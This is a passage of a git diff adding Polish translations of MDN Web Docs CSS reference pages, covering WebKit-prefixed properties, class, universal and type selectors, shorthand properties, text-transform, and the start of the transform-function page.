<li>{{cssxref("-webkit-column-gap")}}</li> + <li>{{cssxref("-webkit-column-width")}}</li> + <li>{{cssxref("-webkit-column-rule")}}</li> + <li>{{cssxref("-webkit-column-rule-width")}}</li> + <li>{{cssxref("-webkit-column-rule-style")}}</li> + <li>{{cssxref("-webkit-column-rule-color")}}</li> + <li>{{cssxref("-webkit-columns")}}</li> + <li>{{cssxref("-webkit-column-span")}}</li> +</ul> + +<h3 id="F">F</h3> + +<ul> + <li>{{cssxref("-webkit-font-feature-settings")}}</li> + <li>{{cssxref("-webkit-font-kerning")}}</li> + <li>{{cssxref("-webkit-font-size-delta")}}</li> + <li>{{cssxref("-webkit-font-variant-ligatures")}}</li> +</ul> + +<h3 id="G">G</h3> + +<ul> + <li>{{cssxref("-webkit-grid-column")}}</li> + <li>{{cssxref("-webkit-grid-row")}}</li> +</ul> + +<h3 id="H_–_O">H – O</h3> + +<ul> + <li>{{cssxref("-webkit-hyphens")}}</li> +</ul> + +<h3 id="M">M</h3> + +<ul> + <li>{{cssxref("-webkit-mask")}}</li> + <li>{{cssxref("-webkit-mask-clip")}}</li> + <li>{{cssxref("-webkit-mask-composite")}}</li> + <li>{{cssxref("-webkit-mask-image")}}</li> + <li>{{cssxref("-webkit-mask-origin")}}</li> + <li>{{cssxref("-webkit-mask-position")}}</li> + <li>{{cssxref("-webkit-mask-position-x")}}</li> + <li>{{cssxref("-webkit-mask-position-y")}}</li> + <li>{{cssxref("-webkit-mask-repeat")}}</li> + <li>{{cssxref("-webkit-mask-repeat-x")}}</li> + <li>{{cssxref("-webkit-mask-repeat-y")}}</li> + <li>{{cssxref("-webkit-mask-size")}}</li> +</ul> + +<h3 id="P">P</h3> + +<ul> + <li>{{cssxref("-webkit-perspective")}}</li> + <li>{{cssxref("-webkit-perspective-origin")}}</li> +</ul> + +<h3 id="Q_–_Z">Q – Z</h3> + +<ul> + <li>{{cssxref("-webkit-region-fragment")}}</li> + <li>{{cssxref("-webkit-shape-outside")}}</li> + <li>{{cssxref("-webkit-text-emphasis")}}</li> + <li>{{cssxref("-webkit-text-emphasis-color")}}</li> + <li>{{cssxref("-webkit-text-emphasis-position")}}</li> + <li>{{cssxref("-webkit-text-emphasis-style")}}</li> + <li>{{cssxref("-webkit-transform")}}</li> + <li>{{cssxref("-webkit-transform-origin")}}</li> + <li>{{cssxref("-webkit-transform-style")}}</li> + <li>{{cssxref("-epub-word-break")}}</li> + <li>{{cssxref("-epub-writing-mode")}}</li> +</ul> +</div> + +<h2 id="Jednostki_z_prefiksem_WebKit_z_odpowiednikiem_bez_prefiksu">Jednostki z prefiksem WebKit z odpowiednikiem bez prefiksu</h2> + +<p>W celu maksymalizacji kompatybilności z Twoim CSS powinienneś/powinnaś stosować właściwości standardu bez prefiksu zamiast opcji z prefiksem. Poniżej znajduje się lista wszystkich wariantów:</p> + +<div class="index"> +<h3 id="A">A</h3> + +<ul> + <li>{{cssxref("-webkit-animation")}}</li> + <li>{{cssxref("-webkit-animation-delay")}}</li> + <li>{{cssxref("-webkit-animation-direction")}}</li> + <li>{{cssxref("-webkit-animation-duration")}}</li> + <li>{{cssxref("-webkit-animation-fill-mode")}}</li> + <li>{{cssxref("-webkit-animation-iteration-count")}}</li> + <li>{{cssxref("-webkit-animation-name")}}</li> + <li>{{cssxref("-webkit-animation-play-state")}}</li> + <li>{{cssxref("-webkit-animation-timing-function")}}</li> +</ul> + +<h3 id="B">B</h3> + +<ul> + <li>{{cssxref("-webkit-backface-visibility")}}</li> + <li>{{cssxref("-webkit-background-clip")}}</li> + <li>{{cssxref("-webkit-background-origin")}}</li> + <li>{{cssxref("-webkit-background-size")}}</li> + <li>{{cssxref("-webkit-border-bottom-left-radius")}}</li> + <li>{{cssxref("-webkit-border-bottom-right-radius")}}</li> + <li>{{cssxref("-webkit-border-image")}}</li> + <li>{{cssxref("-webkit-border-radius")}}</li> + <li>{{cssxref("-webkit-border-top-left-radius")}}</li> + <li>{{cssxref("-webkit-border-top-right-radius")}}</li> + <li>{{cssxref("-webkit-box-sizing")}}</li> +</ul> + +<h3 id="C_–_N">C – N</h3> + +<ul> + <li>{{cssxref("-epub-caption-side")}}</li> +</ul> + +<h3 id="O_–_S">O – S</h3> + +<ul> + <li>{{cssxref("-webkit-opacity")}}</li> +</ul> + +<h3 id="T_–_Z">T – Z</h3> + +<ul> + <li>{{cssxref("-epub-text-transform")}}</li> + <li>{{cssxref("-webkit-transition")}}</li> + <li>{{cssxref("-webkit-transition-delay")}}</li> + <li>{{cssxref("-webkit-transition-duration")}}</li> + <li>{{cssxref("-webkit-transition-property")}}</li> + <li>{{cssxref("-webkit-transition-timing-function")}}</li> +</ul> +</div> + +<h2 id="Firmowe_jednostki_z_prefiksem_WebKit_(nie_do_używania_na_stronach_internetowych)">Firmowe jednostki z prefiksem WebKit (nie do używania na stronach internetowych)</h2> + +<div class="index"> +<h3 id="A_2">A</h3> + +<ul> + <li>{{cssxref("-webkit-appearance")}}</li> + <li>{{cssxref("-webkit-aspect-ratio")}}</li> + <li>{{cssxref(":-webkit-autofill")}}</li> +</ul> + +<h3 id="B_2">B</h3> + +<ul> + <li>{{cssxref("-webkit-background-composite")}}</li> + <li>{{cssxref("background-origin-x")}} (unprefixed!)</li> + <li>{{cssxref("background-origin-y")}} (unprefixed!)</li> + <li>{{cssxref("-webkit-border-after")}}</li> + <li>{{cssxref("-webkit-border-after-color")}}</li> + <li>{{cssxref("-webkit-border-after-style")}}</li> + <li>{{cssxref("-webkit-border-after-width")}}</li> + <li>{{cssxref("-webkit-border-before")}}</li> + <li>{{cssxref("-webkit-border-before-color")}}</li> + <li>{{cssxref("-webkit-border-before-style")}}</li> + <li>{{cssxref("-webkit-border-before-width")}}</li> + <li>{{cssxref("-webkit-border-end")}}</li> + <li>{{cssxref("-webkit-border-end-color")}}</li> + <li>{{cssxref("-webkit-border-end-style")}}</li> + <li>{{cssxref("-webkit-border-end-width")}}</li> + <li>{{cssxref("-webkit-border-fit")}}</li> + <li>{{cssxref("-webkit-border-horizontal-spacing")}}</li> + <li>{{cssxref("-webkit-border-start")}}</li> + <li>{{cssxref("-webkit-border-start-color")}}</li> + <li>{{cssxref("-webkit-border-start-style")}}</li> + <li>{{cssxref("-webkit-border-start-width")}}</li> + <li>{{cssxref("-webkit-border-vertical-spacing")}}</li> + <li>{{cssxref("-webkit-box-align")}}</li> + <li>{{cssxref("-webkit-box-direction")}}</li> + <li>{{cssxref("-webkit-box-flex")}}</li> + <li>{{cssxref("-webkit-box-flex-group")}}</li> + <li>{{cssxref("-webkit-box-lines")}}</li> + <li>{{cssxref("-webkit-box-ordinal-group")}}</li> + <li>{{cssxref("-webkit-box-orient")}}</li> + <li>{{cssxref("-webkit-box-pack")}}</li> + <li>{{cssxref("-webkit-box-reflect")}}</li> + <li>{{cssxref("-webkit-box-shadow")}}</li> +</ul> + +<h3 id="C">C</h3> + +<ul> + <li>{{cssxref("-webkit-column-axis")}}</li> + <li>{{cssxref("-webkit-column-break-after")}}</li> + <li>{{cssxref("-webkit-column-break-before")}}</li> + <li>{{cssxref("-webkit-column-break-inside")}}</li> +</ul> + +<h3 id="D_E">D E</h3> + +<ul> + <li>{{cssxref("-webkit-dashboard-region")}}</li> +</ul> + +<h3 id="F_2">F</h3> + +<ul> + <li>{{cssxref("-webkit-filter")}}</li> + <li>{{cssxref("-webkit-font-smoothing")}}</li> +</ul> + +<h3 id="G_2">G</h3> + +<ul> + <li>{{cssxref("-webkit-grid-columns")}}</li> + <li>{{cssxref("-webkit-grid-rows")}}</li> +</ul> + +<h3 id="H_–_K">H – K</h3> + +<ul> + <li>{{cssxref("-webkit-highlight")}}</li> + <li>{{cssxref("-webkit-hyphenate-charset")}}</li> + <li>{{cssxref("-webkit-hyphenate-limit-after")}}</li> + <li>{{cssxref("-webkit-hyphenate-limit-before")}}</li> + <li>{{cssxref("-webkit-hyphenate-limit-lines")}}</li> + <li>{{cssxref("-webkit-image-set")}}</li> +</ul> + +<h3 id="L">L</h3> + +<ul> + <li>{{cssxref("-webkit-line-align")}}</li> + <li>{{cssxref("-webkit-line-box-contain")}}</li> + <li>{{cssxref("-webkit-line-break")}}</li> + <li>{{cssxref("-webkit-line-clamp")}}</li> + <li>{{cssxref("-webkit-line-grid")}}</li> + <li>{{cssxref("-webkit-line-snap")}}</li> + <li>{{cssxref("-webkit-locale")}}</li> + <li>{{cssxref("-webkit-logical-height")}}</li> + <li>{{cssxref("-webkit-logical-width")}}</li> +</ul> + +<h3 id="M_2">M</h3> + +<ul> + <li>{{cssxref("-webkit-margin-after")}}</li> + <li>{{cssxref("-webkit-margin-after-collapse")}}</li> + <li>{{cssxref("-webkit-margin-before")}}</li> + <li>{{cssxref("-webkit-margin-before-collapse")}}</li> + <li>{{cssxref("-webkit-margin-bottom-collapse")}}</li> + <li>{{cssxref("-webkit-margin-collapse")}}</li> + <li>{{cssxref("-webkit-margin-end")}}</li> + <li>{{cssxref("-webkit-margin-start")}}</li> + <li>{{cssxref("-webkit-margin-top-collapse")}}</li> + <li>{{cssxref("-webkit-marquee")}}</li> + <li>{{cssxref("-webkit-marquee-direction")}}</li> + <li>{{cssxref("-webkit-marquee-increment")}}</li> + <li>{{cssxref("-webkit-marquee-repetition")}}</li> + <li>{{cssxref("-webkit-marquee-speed")}}</li> + <li>{{cssxref("-webkit-marquee-style")}}</li> + <li>{{cssxref("-webkit-mask-attachment")}}</li> + <li>{{cssxref("-webkit-mask-box-image")}}</li> + <li>{{cssxref("-webkit-mask-box-image-outset")}}</li> + <li>{{cssxref("-webkit-mask-box-image-repeat")}}</li> + <li>{{cssxref("-webkit-mask-box-image-slice")}}</li> + <li>{{cssxref("-webkit-mask-box-image-source")}}</li> + <li>{{cssxref("-webkit-mask-box-image-width")}}</li> + <li>{{cssxref("-webkit-mask-position-x")}}</li> + <li>{{cssxref("-webkit-mask-position-y")}}</li> + <li>{{cssxref("-webkit-mask-repeat-x")}}</li> + <li>{{cssxref("-webkit-mask-repeat-y")}}</li> + <li>{{cssxref("-webkit-match-nearest-mail-blockquote-color")}}</li> + <li>{{cssxref("-webkit-max-logical-height")}}</li> + <li>{{cssxref("-webkit-max-logical-width")}}</li> + <li>{{cssxref("-webkit-min-logical-height")}}</li> + <li>{{cssxref("-webkit-min-logical-width")}}</li> +</ul> + +<h3 id="N">N</h3> + +<ul> + <li>{{cssxref("-webkit-nbsp-mode")}}</li> +</ul> + +<h3 id="O">O</h3> + +<ul> + <li>{{cssxref("-webkit-overflow-scrolling")}}</li> +</ul> + +<h3 id="P_Q">P Q</h3> + +<ul> + <li>{{cssxref("-webkit-padding-after")}}</li> + <li>{{cssxref("-webkit-padding-before")}}</li> + <li>{{cssxref("-webkit-padding-end")}}</li> + <li>{{cssxref("-webkit-padding-start")}}</li> + <li>{{cssxref("-webkit-perspective-origin-x")}}</li> + <li>{{cssxref("-webkit-perspective-origin-y")}}</li> + <li>{{cssxref("-webkit-print-color-adjust")}}</li> +</ul> + +<h3 id="R">R</h3> + +<ul> + <li>{{cssxref("-webkit-region-break-after")}}</li> + <li>{{cssxref("-webkit-region-break-before")}}</li> + <li>{{cssxref("-webkit-region-break-inside")}}</li> + <li>{{cssxref("-webkit-rtl-ordering")}}</li> +</ul> + +<h3 id="S">S</h3> + +<ul> + <li>{{cssxref("-webkit-shape-inside")}}</li> + <li>{{cssxref("-webkit-svg-shadow")}}</li> +</ul> + +<h3 id="T_–_Z_2">T – Z</h3> + +<ul> + <li>{{cssxref("-webkit-tap-highlight-color")}}</li> + <li>{{cssxref("-webkit-text-combine")}}</li> + <li>{{cssxref("-epub-text-combine")}}</li> + <li>{{cssxref("-webkit-text-decorations-in-effect")}}</li> + <li>{{cssxref("-epub-text-emphasis")}}</li> + <li>{{cssxref("-epub-text-emphasis-color")}}</li> + <li>{{cssxref("-epub-text-emphasis-style")}}</li> + <li>{{cssxref("-webkit-text-fill-color")}}</li> + <li>{{cssxref("-epub-text-orientation")}}</li> + <li>{{cssxref("-webkit-text-security")}}</li> + <li>{{cssxref("-webkit-text-size-adjust")}}</li> + <li>{{cssxref("-webkit-text-stroke")}}</li> + <li>{{cssxref("-webkit-text-stroke-color")}}</li> + <li>{{cssxref("-webkit-text-stroke-width")}}</li> + <li>{{cssxref("-webkit-touch-callout")}}</li> +</ul> +</div> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li><a href="https://trac.webkit.org/wiki/Styling%20Form%20Controls" title="https://trac.webkit.org/wiki/Styling Form Controls">Styling Form Controls on the WebKit Trac</a></li> + <li>Rozszerzenia nie wymienione powyżej: <a href="https://gist.github.com/afabbro/3759334">https://gist.github.com/afabbro/3759334</a></li> +</ul> diff --git a/files/pl/web/css/selektor_klasy/index.html b/files/pl/web/css/selektor_klasy/index.html new file mode 100644 index 0000000000..12f8d4f5c8 --- /dev/null +++ b/files/pl/web/css/selektor_klasy/index.html @@ -0,0 +1,86 @@ +--- +title: Selektor klasy +slug: Web/CSS/Selektor_klasy +tags: + - CSS + - Klasy + - Reference + - Selektory +translation_of: Web/CSS/Class_selectors +--- +<div>{{CSSRef("Selectors")}}</div> + +<div> </div> + +<div>Selektor klasy wyszukuje każdy element z atrybutem {{htmlattrxref("class")}} w dokumencie HTML. Atrybut {{htmlattrxref("class")}} jest zdefiniowany jako lista przedmiotów oddzielonych ze sobą spacją, jeden z nich musi zgadzać się z podaną klasą w selektorze (CSS).</div> + +<div> </div> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">.nazwaklasy { <span class="short_text" id="result_box" lang="pl"><span>właściwości</span> <span>stylu</span></span> }</pre> + +<p>Jest to równoważne z {{Cssxref("Attribute_selectors", "attribute selector")}}:</p> + +<pre class="syntaxbox">[class~=nazwaklasy] { <span class="short_text" id="result_box" lang="pl"><span>właściwości</span> <span>stylu</span></span> }</pre> + +<h2 id="Przykład">Przykład</h2> + +<h3 id="CSS">CSS</h3> + +<pre class="brush: css">span.classy { + background-color: DodgerBlue; +} +</pre> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><span class="classy">Przykładowy tekst.</span> +<span>Kolejny przykładowy tekst.</span> +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<ul> + <li><a href="https://drafts.csswg.org/selectors-4/#class-html">Selectors Level 4</a></li> + <li><a href="https://drafts.csswg.org/selectors-3/#class-html">Selectors Level 3</a></li> + <li><a href="http://www.w3.org/TR/CSS2/selector.html#class-html">CSS Level 2 (Revision 1)</a></li> + <li><a href="http://www.w3.org/TR/CSS1/#class-as-selector">CSS Level 1</a></li> +</ul> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + +<table class="standard-table"> + <tbody> + <tr> + <td><strong>Przeglądarka</strong></td> + <td><strong>Wsparcie</strong></td> + </tr> + <tr> + <td>Chrome</td> + <td>Tak</td> + </tr> + <tr> + <td>Edge</td> + <td>Tak</td> + </tr> + <tr> + <td>Firefox</td> + <td>Tak</td> + </tr> + <tr> + <td>Internet Explorer</td> + <td>Tak</td> + </tr> + <tr> + <td>Opera</td> + <td>Tak</td> + </tr> + <tr> + <td>Safari</td> + <td>Tak</td> + </tr> + </tbody> +</table> + +<p> </p> diff --git a/files/pl/web/css/selektor_uniwersalny/index.html b/files/pl/web/css/selektor_uniwersalny/index.html new file mode 100644 index 0000000000..c3c4952f06 --- /dev/null +++ b/files/pl/web/css/selektor_uniwersalny/index.html @@ -0,0 +1,104 @@ +--- +title: Selektor uniwersalny +slug: Web/CSS/Selektor_uniwersalny +tags: + - CSS + - Selektory +translation_of: Web/CSS/Universal_selectors +--- +<div>{{CSSRef}}</div> + +<p><strong>Selektor uniwersalny</strong> (<code>*</code>) dopasowuje elementy wszystkich typów.</p> + +<pre class="brush: css no-line-numbers">/* Wybierz wszystkie elementy */ +* { + color: green; +}</pre> + +<p>Począwszy od CSS3, gwiazdka może być używana w połączeniu z {{cssxref("CSS_Namespaces", "namespaces")}}:</p> + +<ul> + <li><code>ns|*</code> - dopasowuje wszystkie elementy w przestrzeni nazw <em>ns</em></li> + <li><code>*|*</code> - dopasowuje wszystkie elementy</li> + <li><code>|*</code> - dopasowuje wszystkie elementy bez zdefiniowanej przestrzeni nazw</li> +</ul> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">* { własności }</pre> + +<p>Gwiazdka jest opcjonalna w przypadku prostych selektorów. Np.: <code>*.warning</code> i <code>.warning</code> są równoważne.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="CSS">CSS</h3> + +<pre class="brush: css">* [lang^=pl] { + color: green; +} + +*.warning { + color: red; +} + +*#maincontent { + border: 1px solid blue; +} + +.floating { + float: left +} + +/* automatycznie czyści opływanie dla rodzeństwa znajdującego się bezpośrednio po elemencie z klasą .floating */ +.floating + * { + clear: left; +} +</pre> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><p class="warning"> + <span lang="pl">Zielony span</span> w czerwonym akapicie. +</p> +<p id="maincontent" lang="pl"> + <span class="warning">czerwony span</span> w zielonym akapicie. +</p></pre> + +<h3 id="Rezultat">Rezultat</h3> + +<p>{{EmbedLiveSample('Przykłady')}}</p> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS4 Selectors', '#the-universal-selector', 'universal selector')}}</td> + <td>{{Spec2('CSS4 Selectors')}}</td> + <td>No changes</td> + </tr> + <tr> + <td>{{SpecName('CSS3 Selectors', '#universal-selector', 'universal selector')}}</td> + <td>{{Spec2('CSS3 Selectors')}}</td> + <td>Defines behavior regarding namespaces and adds hint that omitting the selector is allowed within pseudo-elements</td> + </tr> + <tr> + <td>{{SpecName('CSS2.1', 'selector.html#universal-selector', 'universal selector')}}</td> + <td>{{Spec2('CSS2.1')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("css.selectors.universal")}}</p> diff --git a/files/pl/web/css/selektory_typu/index.html b/files/pl/web/css/selektory_typu/index.html new file mode 100644 index 0000000000..13dc191bb1 --- /dev/null +++ b/files/pl/web/css/selektory_typu/index.html @@ -0,0 +1,80 @@ +--- +title: Selektory typu +slug: Web/CSS/Selektory_typu +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/Type_selectors +--- +<div>{{CSSRef}}</div> + +<p><strong>Selektory typu</strong> dopasowują wszystkie elementy mające taką samą nazwę jak dany selektor. Własności zostaną zastosowane do każdego elementu danego typu niezależnie od tego, gdzie znajduje się w drzewie dokumentu.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="eval">selektor {<em>własności</em> } +</pre> + +<p><code>selektor</code> jest do dowolnym elementem np. <code>p</code>, <code>div</code>, <code>a</code>, <code>table</code>.</p> + +<h2 id="Przykłady" name="Przykłady">Przykład</h2> + +<h3 id="CSS">CSS</h3> + +<pre class="brush: css">span { + background-color: skyblue; +} +</pre> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><span>Span z tekstem.</span> +<p>Akapit z tekstem.</p> +<span>Span z większą ilością tekstu.</span> +</pre> + +<h3 id="Rezultat">Rezultat</h3> + +<p>{{EmbedLiveSample('Przykład', '100%', 150)}}</p> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS4 Selectors', '#type-selectors', 'Type (tag name) selector')}}</td> + <td>{{Spec2('CSS4 Selectors')}}</td> + <td>No changes</td> + </tr> + <tr> + <td>{{SpecName('CSS3 Selectors', '#type-selectors', 'type selectors')}}</td> + <td>{{Spec2('CSS3 Selectors')}}</td> + <td>No changes</td> + </tr> + <tr> + <td>{{SpecName('CSS2.1', 'selector.html#type-selectors', 'type selectors')}}</td> + <td>{{Spec2('CSS2.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('CSS1', '#basic-concepts', 'type selectors')}}</td> + <td>{{Spec2('CSS1')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2> + + + +<p>{{Compat("css.selectors.type")}}</p> diff --git a/files/pl/web/css/skrócone_deklaracje_css/index.html b/files/pl/web/css/skrócone_deklaracje_css/index.html new file mode 100644 index 0000000000..fa244eb571 --- /dev/null +++ b/files/pl/web/css/skrócone_deklaracje_css/index.html @@ -0,0 +1,56 @@ +--- +title: Skrócone deklaracje CSS +slug: Web/CSS/Skrócone_deklaracje_CSS +tags: + - CSS + - Wszystkie_kategorie +translation_of: Web/CSS/Shorthand_properties +--- +<p> +</p> +<h2 id="Dlaczego_skracamy_deklaracje_CSS.3F" name="Dlaczego_skracamy_deklaracje_CSS.3F"> Dlaczego skracamy deklaracje CSS? </h2> +<p>Wielu programistów CSS stosuje skrócone wersje często stosowanych własności w celu zaoszczędzenia czasu i energii. Chociaż skracanie deklaracji może wydawać się nie intuicyjnie i prawdopodobnie będzie wymagało trochę zapamiętywania, to z całą pewnością zaoszczędzi nam pisania na klawiaturze, podczas tworzenia dużych lub kompleksowych arkuszy stylów. +</p> +<h2 id="W.C5.82asno.C5.9Bci_t.C5.82a" name="W.C5.82asno.C5.9Bci_t.C5.82a"> Własności tła </h2> +<p>Tło określone za pomocą następujących własności: +</p> +<pre>background-color: #000; +background-image: url(images/bg.gif); +background-repeat: no-repeat; +background-position: top right;</pre> +<p>Można zapisać w jednej deklaracji jako: +</p> +<pre>background: #000 url(images/bg.gif) no-repeat top right;</pre> +<p>(Forma skrócona jest ściśle mówiąc odpowiednikiem wypisanych powyżej własności plus <code>background-attachment: scroll</code> oraz kilku dodatkowych własności w CSS3) +</p> +<h2 id="W.C5.82asno.C5.9Bci_czcionki" name="W.C5.82asno.C5.9Bci_czcionki"> Własności czcionki </h2> +<p>Następujące deklaracje: +</p> +<pre>font-style: italic; +font-weight: bold; +font-size: .8em; +line-height: 1.2; +font-family: Arial, sans-serif;</pre> +<p>Mogą zostać skrócone do następującej deklaracji: </p> +<pre>font: italic bold .8em/1.2 Arial, sans-serif;</pre> +<p>(Forma skrócona jest ściśle mówiąc odpowiednikiem wypisanych powyżej własności plus <code>font-variant: normal</code> i <code>font-size-adjust: none</code> (CSS2.0 / css3), <code>font-stretch: normal</code> (css3).) +</p> +<h2 id="W.C5.82asno.C5.9Bci_obramowania" name="W.C5.82asno.C5.9Bci_obramowania"> Własności obramowania </h2> +<p>Obramowanie, szerokość, kolor i styl możemy uprościć do jednej deklaracji. Na przykład: +</p> +<pre>border-width: 1px; +border-style: solid; +border-color: #000;</pre> +<p>Możemy zapisać jako: +</p> +<pre>border: 1px solid #000;</pre> +<h2 id="W.C5.82asno.C5.9Bci_margin.2Fpadding" name="W.C5.82asno.C5.9Bci_margin.2Fpadding"> Własności margin/padding </h2> +<p>Skrócona wersja wartości margin i padding działa w ten sam sposób. Następujące deklaracje CSS: </p> +<pre>margin-top: 10px; +margin-right: 5px; +margin-bottom: 10px; +margin-left: 5px;</pre> +<p>Są tym samym, co poniższa deklaracja (ważne jest, aby wartości były rozmieszczone zgodnie z kierunkiem ruchu wskazówek zegara, zaczynając od wartości top: top, right, bottom i left (TRBL, spółgłoski w słowie "trouble")) +</p> +<pre>margin: 10px 5px 10px 5px;</pre> +{{ languages( { "en": "en/Guide_to_Shorthand_CSS" } ) }} diff --git a/files/pl/web/css/text-transform/index.html b/files/pl/web/css/text-transform/index.html new file mode 100644 index 0000000000..1e3bcc1ac1 --- /dev/null +++ b/files/pl/web/css/text-transform/index.html @@ -0,0 +1,81 @@ +--- +title: text-transform +slug: Web/CSS/text-transform +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/text-transform +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Własność CSS 'text-transform' definiuje, czy tekst w elemencie powinien być wyświetlony kapitalikami lub wielkimi literami.</p> + +<p>{{cssinfo}}</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">text-transform : capitalize | uppercase | lowercase| none +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>capitalize</dt> + <dd>Pierwsza litera każdego słowa jest zmieniana na wielką, inne zostają bez zmian.</dd> + <dt>uppercase</dt> + <dd>Wszystkie litery są przekształcane na wielkie.</dd> + <dt>lowercase</dt> + <dd>Wszystkie litery są przekształcane na małe.</dd> + <dt>none</dt> + <dd>Żadne zmiany wielkości liter nie są dokonywane.</dd> +</dl> + +<h2 id="Examples" name="Examples">Examples</h2> + +<pre class="eval">p::first-line { + text-transform: uppercase; +} +</pre> + +<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS21/text.html#caps-prop">CSS level 2 revision 1</a></li> + <li><a class="external" href="http://www.w3.org/TR/CSS1#text-transform">CSS level 1</a></li> + <li><a class="external" href="http://www.w3.org/TR/css3-text/">W3C Cascading Style Sheets, level 3</a> (jeszcze niegotowa)</li> +</ul> + +<h2 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th>Przeglądarka</th> + <th>Najniższa wersja</th> + </tr> + <tr> + <td>Internet Explorer</td> + <td>?</td> + </tr> + <tr> + <td>Firefox</td> + <td>?</td> + </tr> + <tr> + <td>Netscape</td> + <td>?</td> + </tr> + <tr> + <td>Opera</td> + <td>?</td> + </tr> + <tr> + <td>Safari</td> + <td>?</td> + </tr> + </tbody> +</table> diff --git a/files/pl/web/css/transform-function/index.html b/files/pl/web/css/transform-function/index.html new file mode 100644 index 0000000000..9a384bb869 --- /dev/null +++ b/files/pl/web/css/transform-function/index.html @@ -0,0 +1,201 @@ +--- +title: <transform-function> +slug: Web/CSS/transform-function +tags: + - CSS + - CSS Data Type + - CSS Reference + - CSS Transforms + - Layout + - NeedsTranslation + - Reference + - TopicStub + - Web +translation_of: Web/CSS/transform-function +--- +<div>{{CSSRef}}</div> + +<p>The <code><transform-function></code> CSS data type denotes a function applied to an element's representation in order to modify it. Usually such transform may be expressed by matrices and the resulting images can be determined using matrix multiplication on each point.</p> + +<h2 id="Coordinates_for_2D_graphics">Coordinates for 2D graphics</h2> + +<p>There are several coordinate models used when describing transformation. The most common are the Cartesian coordinate system and homogeneous coordinates.</p> + +<h3 id="Cartesian_coordinates">Cartesian coordinates</h3> + +<p><a href="/@api/deki/files/5796/=coord_in_R2.png"><img src="/files/3438/coord_in_R2.png" style="float: right; width: 171px;"></a></p> + +<p>In <a class="external" href="https://en.wikipedia.org/wiki/Cartesian_coordinate_system">Cartesian coordinates</a> each point of the <a class="external" href="https://en.wikipedia.org/wiki/Euclidean_geometry">Euclidian space</a> is described using two values, the abscissa and the ordinate. The origin, the <code>(0, 0)</code> is the top-left corner of the element. Unlike the usual geometric convention, and like most cases in computer graphics, the y-axis goes to the bottom. Each point is mathematically described using the vector notation <code>(x,y)</code>.</p> + +<p>Each linear function is described using a 2x2 matrix like:</p> + +<div style="text-align: center;"> +<p><math> <mfenced> <mtable> <mtr><mtd>a</mtd><mtd>c</mtd></mtr> <mtr><mtd>b</mtd><mtd>d</mtd></mtr> </mtable> </mfenced> </math></p> +</div> + +<p>Applying the transformation consists in doing, for each point, the matrix multiplication between both:</p> + +<div style="text-align: center;"><a href="/@api/deki/files/5799/=transform_functions_generic_transformation_cart.png"><img src="/@api/deki/files/5799/=transform_functions_generic_transformation_cart.png?size=webview" style="height: 32px; width: 189px;"></a>.</div> + +<p>It is possible to apply several transformations in a row:</p> + +<div style="text-align: center;"><a href="/@api/deki/files/5800/=transform_functions_transform_composition_cart.png"><img src="/@api/deki/files/5800/=transform_functions_transform_composition_cart.png?size=webview" style="height: 32px; width: 313px;"></a>.</div> + +<p>With this notation, it is possible to describe, and therefore composite, most usual transformations: rotations, scaling, or skewing. In fact all transformations that are linear functions can be described. Composite transforms are effectively applied in order from right to left. One major transformation is not linear and therefore must be special-cased when using this notation: translation. The translation vector (tx, ty) must be expressed separately, as two more parameters.</p> + +<p><a class="external" href="https://en.wikipedia.org/wiki/August_Ferdinand_M%C3%B6bius">Möbius</a>' <a class="external" href="https://en.wikipedia.org/wiki/Homogeneous_coordinates">homogeneous coordinates</a> in <a class="external" href="https://en.wikipedia.org/wiki/Projective_geometry">projective geometry</a> leading to 3x3 transformation matrices, though more complex and unusual for non-specialists, doesn't suffer from the translation limitation as these can be expressed as linear functions in this algebra, removing the need for special cases.</p> + +<h2 id="Functions_defining_transformations">Functions defining transformations</h2> + +<p>Several functions are available to describe transformations in CSS. Each one applies a geometric operation, in 2D or 3D:</p> + +<dl> + <dt>{{cssxref("transform-function/matrix","matrix()")}}</dt> + <dd>The <code>matrix()</code> CSS function specifies a homogeneous 2D transformation matrix comprised of the specified six values. The constant values of such matrices are implied and not passed as parameters; the other parameters are described in the column-major order.</dd> + <dd><code>matrix(a, b, c, d, tx, ty)</code> is a shorthand for <code>matrix3d(a, b, 0, 0, c, d, 0, 0, 0, 0, 1, 0, tx, ty, 0, 1)</code>.</dd> + 